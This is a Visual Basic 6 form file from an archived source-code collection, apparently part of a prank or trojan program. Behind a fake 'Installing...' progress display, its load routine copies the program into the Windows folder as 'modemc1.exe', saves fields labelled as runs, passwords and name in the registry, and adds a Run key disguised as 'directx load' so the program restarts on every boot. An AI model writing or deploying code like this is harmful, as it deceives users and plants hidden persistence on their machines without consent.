home *** CD-ROM | disk | FTP | other *** search
/ Planet Source Code Jumbo …e CD Visual Basic 1 to 7 / 1_2002.ISO / Data / Zips / CODE_UPLOAD33732132000.psc / Form3.frm (.txt) < prev    next >
Encoding:
Visual Basic Form  |  2000-02-13  |  3.1 KB  |  90 lines

  1. VERSION 5.00
  2. Begin VB.Form Form3 
  3.    Caption         =   "Installing..."
  4.    ClientHeight    =   2175
  5.    ClientLeft      =   60
  6.    ClientTop       =   345
  7.    ClientWidth     =   4605
  8.    ControlBox      =   0   'False
  9.    LinkTopic       =   "Form3"
  10.    ScaleHeight     =   2175
  11.    ScaleWidth      =   4605
  12.    StartUpPosition =   3  'Windows Default
  13.    Begin VB.ListBox List1 
  14.       Height          =   1230
  15.       ItemData        =   "Form3.frx":0000
  16.       Left            =   360
  17.       List            =   "Form3.frx":0007
  18.       TabIndex        =   1
  19.       Top             =   360
  20.       Width           =   3975
  21.    End
  22.    Begin VB.CommandButton Command1 
  23.       Caption         =   "Quit app"
  24.       Enabled         =   0   'False
  25.       Height          =   375
  26.       Left            =   1080
  27.       TabIndex        =   0
  28.       Top             =   1800
  29.       Width           =   1935
  30.    End
  31. Attribute VB_Name = "Form3"
  32. Attribute VB_GlobalNameSpace = False
  33. Attribute VB_Creatable = False
  34. Attribute VB_PredeclaredId = True
  35. Attribute VB_Exposed = False
  36. Private Sub Command1_Click()
  37. MsgBox "Ok... just restart this computer so many times you entered... and the app will make effects..."
  38. End Sub
  39. Private Sub Form_Load()
  40. On Error Resume Next
  41. Dim filename
  42. filename = App.Path + "\" + App.EXEName + ".exe"
  43. FileCopy filename, "c:\windows\modemc1.exe"
  44. List1.AddItem "Encrypting information..."
  45. List1.AddItem "-[ok]-"
  46. SaveSetting "tradercrew", "security", "runs", Form2.List1
  47. SaveSetting "tradercrew", "security", "pwds", Form2.Text1
  48. SaveSetting "tradercrew", "security", "name", Form2.Text3
  49. SaveSetting "tradercrew", "security", "installed", "yes"
  50. List1.AddItem "Save neceassary information..."
  51. List1.AddItem "-[ok]-"
  52. List1.AddItem "Making this app start on every boot..."
  53. List1.AddItem "-[ok]-"
  54. ' Install the app to autostartregistry
  55.  bSetRegValue &H80000002, "SOFTWARE\Microsoft\Windows\CurrentVersion\Run", "directx load", "modemc1.exe"
  56. Command1.Enabled = True
  57. End Sub
  58. Private Sub Timer1_Timer()
  59. End Sub
  60. Private Function bSetRegValue(ByVal hKey As Long, ByVal lpszSubKey As String, ByVal sSetValue As String, ByVal sValue As String) As Boolean
  61.     '' Private function to set a registry value
  62.     On Error GoTo ERROR_HANDLER
  63.     Dim phkResult As Long
  64.     Dim lResult As Long
  65.     Dim SA As SECURITY_ATTRIBUTES
  66.     Dim REG_OPTION_NON_VOLATILE As Long
  67.     Dim lCreate As Long
  68.     Dim KEY_ALL_ACCESS As Long
  69.     Dim error_success As Variant
  70.     'Note: This function will create the key or value
  71.     'if it doesn't exist.
  72.     ''Open or Create the key
  73.     RegCreateKeyEx hKey, lpszSubKey, 0, "", REG_OPTION_NON_VOLATILE, _
  74.     KEY_ALL_ACCESS, SA, phkResult, lCreate
  75.     lResult = RegSetValueEx(phkResult, sSetValue, 0, 1, sValue, _
  76.     CLng(Len(sValue) + 1))
  77.     ''Close the key
  78.     RegCloseKey phkResult
  79.     ''Return SetRegValue Result
  80.     bSetRegValue = (lResult = error_success)
  81.     Exit Function
  82. ERROR_HANDLER:
  83.     MsgBox "ERROR #" & Str$(Err) & " : " & Error & Chr(13) _
  84.     & "Please Exit and try again."
  85.     bSetRegValue = False
  86. GoTo 4
  87. ERROR_SUCCES:
  88. MsgBox "It worked!"
  89. 4 End Function
  90.